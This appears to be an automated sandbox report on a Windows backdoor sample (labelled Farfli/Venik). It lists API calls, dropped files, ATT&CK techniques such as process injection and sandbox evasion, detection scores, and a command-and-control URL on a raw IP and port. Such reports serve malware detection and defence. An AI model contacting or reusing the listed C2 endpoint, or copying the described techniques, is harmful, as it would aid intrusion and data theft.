Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\XXHYneydvF.exe

Code function: 0_2_0040229F _EH_prolog,EnterCriticalSection,#540,SendMessageA,#3998,#6907,#6907,#2818,#6907,GetSystemTime,#2818,#6907,#6007,#823,#823,memcpy,#6007,LeaveCriticalSection,#800,

0_2_0040229F

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 6_2_10006C40 Sleep,GetVersionExA,CreateThread,sprintf,

6_2_10006C40

Stealing of Sensitive Information

Queries disk data (e.g. SMART data)

Source: C:\Windows\SysWOW64\rundll32.exe

Device IO: \Device\Harddisk0\DR0

Jump to behavior

Source: C:\Users\user\Desktop\XXHYneydvF.exe	Code function: 0_2_0040271C socket,gethostname,gethostbyname,htons,memcpy,bind,setsockopt,setsockopt,setsockopt,WSAIoctl,WSAGetLastError,CreateThread,closesocket,	0_2_0040271C
Source: C:\Users\user\AppData\Local\Temp\ygqcn.exe	Code function: 5_2_0040271C socket,gethostname,gethostbyname,htons,memcpy,bind,setsockopt,LdrInitializeThunk,LdrInitializeThunk,setsockopt,LdrInitializeThunk,setsockopt,LdrInitializeThunk,WSAIoctl,WSAGetLastError,CreateThread,closesocket,	5_2_0040271C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 6_2_100055E0 WSAStartup,socket,socket,socket,htons,htons,inet_addr,inet_addr,htons,inet_addr,bind,ioctlsocket,select,Sleep,wsprintfA,malloc,htons,htons,htons,htons,htons,htons,htons,inet_addr,closesocket,closesocket,closesocket,	6_2_100055E0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Deobfuscate/Decode Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	2 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	11 Registry Run Keys / Startup Folder	1 Access Token Manipulation	3 Obfuscated Files or Information	LSASS Memory	2 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Bootkit	111 Process Injection	2 Software Packing	Security Account Manager	124 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	11 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	11 Registry Run Keys / Startup Folder	1 DLL Side-Loading	NTDS	11 Security Software Discovery	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 File Deletion	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	13 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	11 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Bootkit	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
XXHYneydvF.exe	89%	ReversingLabs	Win32.Backdoor.Venik
XXHYneydvF.exe	100%	Avira	TR/Farfli.ltgad
XXHYneydvF.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\yucdh\qtbbkpjim.dll	100%	Avira	TR/Patched.Ren.Gen
C:\Users\user\AppData\Local\Temp\ygqcn.exe	100%	Avira	TR/Farfli.ltgad
C:\yucdh\qtbbkpjim.dll	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\ygqcn.exe	100%	Joe Sandbox ML
C:\yucdh\qtbbkpjim.dll	68%	ReversingLabs	Win32.Worm.Palevo

Source	Detection	Scanner	Label
http://107.163.241.204:12354/show.phpy	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpr	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpt	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpq	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpz	0%	Avira URL Cloud	safe
http://107.163.24I	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpsU	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpcom	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phps	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php)	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php9	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php#	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php0	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php$	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php3	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php4	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php1	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php:	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpI	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpL	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpD	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpk	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.php-xN	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpn	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpE	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpg	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpW	0%	Avira URL Cloud	safe
http://107.163.241.204:12354/show.phpm	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
blogx.sina.com.cn	202.108.0.52	true	false	high
krnaver.com	unknown	unknown	true	unknown
blog.sina.com.cn	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://107.163.241.204:12354/show.php	true	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807	false		high
https://blog.sina.com.cn/u/5655029807	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://blog.sina.com.cn/O6	rundll32.exe, 00000006.00000003.2230805040.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803873602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2849768834.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.00000000027E3000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3622058230.00000000027E4000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpy	rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807lP9&	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/mData	rundll32.exe, 00000006.00000002.3900121507.0000000005656000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpz	rundll32.exe, 00000006.00000002.3899907702.000000000536A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zI	rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807zD	rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2477211473.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpq	rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpr	rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phps	rundll32.exe, 00000006.00000003.1658030407.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.phpt	rundll32.exe, 00000006.00000003.1617628309.000000000288D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807.	rundll32.exe, 00000006.00000002.3900034780.000000000558D000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2230805040.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z:	rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/%s	rundll32.exe, rundll32.exe, 00000006.00000002.3902783293.0000000010001000.00000040.00000001.01000000.00000005.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z4	rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/les	rundll32.exe, 00000006.00000003.1981996980.000000000565B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807#	rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807z-xN	rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpsU	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807z	rundll32.exe, 00000006.00000003.1658090324.0000000005632000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2803081217.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.phpcom	rundll32.exe, 00000006.00000003.1617469402.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/56550298071	rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807r	rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.24I	rundll32.exe, 00000006.00000002.3898858298.0000000004A7C000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/user	rundll32.exe, 00000006.00000003.3621717662.0000000005657000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php)	rundll32.exe, 00000006.00000002.3898858298.0000000004A7C000.00000004.00000010.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000002.3898926048.0000000004AFD000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php#	rundll32.exe, 00000006.00000003.2803765763.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394402713.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2394188130.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807zR	rundll32.exe, 00000006.00000002.3886909734.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php$	rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php9	rundll32.exe, 00000006.00000003.3253603854.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3499377638.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3252916045.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php:	rundll32.exe, 00000006.00000003.2062689322.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2988159580.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3419063356.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2848809904.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2363858451.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/nts	rundll32.exe, 00000006.00000003.2062610450.000000000565C000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php0	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://blog.sina.com.cn/u/5655029807qP6&	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false		high
http://107.163.241.204:12354/show.php1	rundll32.exe, 00000006.00000003.3068313961.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3621775107.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.3108712693.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php3	rundll32.exe, 00000006.00000002.3900121507.000000000562B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://107.163.241.204:12354/show.php4	rundll32.exe, 00000006.00000003.3419063356.0000000002863000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.1982084602.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://blog.sina.com.cn/u/5655029807top	rundll32.exe, 00000006.00000003.2394527852.000000000565C000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000006.00000003.2365087073.000000000565C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://blog.sina.com.cn/u/5655029807I	rundll32.exe, 00000006.00000003.1982084602.0000000002863000.00000004.00000020.00020000.00000000.sdmp	false		high
http://blog.sina.com.cn/u/5655029807m	rundll32.exe, 00000006.00000002.3886909734.00000000027AA000.00000004.00000020.00020000.00000000.sdmp	false		high
